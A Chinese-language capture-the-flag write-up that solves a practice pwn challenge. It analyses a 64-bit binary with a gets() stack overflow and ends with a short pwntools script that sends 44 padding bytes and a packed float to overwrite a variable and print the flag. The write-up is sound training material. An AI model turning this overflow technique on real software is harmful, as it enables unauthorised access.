今天继续练手,主要区别之前做的就是要知道一个浮点数是4字节,并且得了解python写exp的时候要会用struct.pack('<f',浮点数)来构造paylaod。
ScreenShot_2026-03-16_171956_015.png
依旧checksec检查文件的保护:
ScreenShot_2026-03-16_155439_117.png

1.没有栈保护,不会生成随机数检查是否被破坏    
2.数据执行保护,字符串不可执行 
3.No PIE,程序加载位置固定,system()找到的地址就可以直接用

放die检查位数
ScreenShot_2026-03-16_172717_959.png
看到是64位,放到ida64,并且shift+f12查看字符串有没有什么提示
ScreenShot_2026-03-16_172845_400.png
看到cat /flag,双击进去并且查看伪代码
ScreenShot_2026-03-16_173012_913.png
看到了gets()函数,存在溢出!

可以看到只要满足v2=11.28125就可以得到flag.

看到栈中v1的其实地址是[rbp-30h],v2的起始位置是[rbp-4h]

所以我们应该填充48-4=44个字节就可以到v2的起始位置,再填充代码中的浮点数(11.28125)四个字节栈刚刚好满,程序正常执行返回。

所以exp:

from pwn import *

p = remote('node5.buuoj.cn', 28538)
offset = 44
payload = b'A'* offset + struct.pack('<f', 11.28125)
p.recvuntil("Let's guess the number.")
p.sendline(payload)
print(p.recvall().decode())

ScreenShot_2026-03-16_174724_014.png
成功get flag!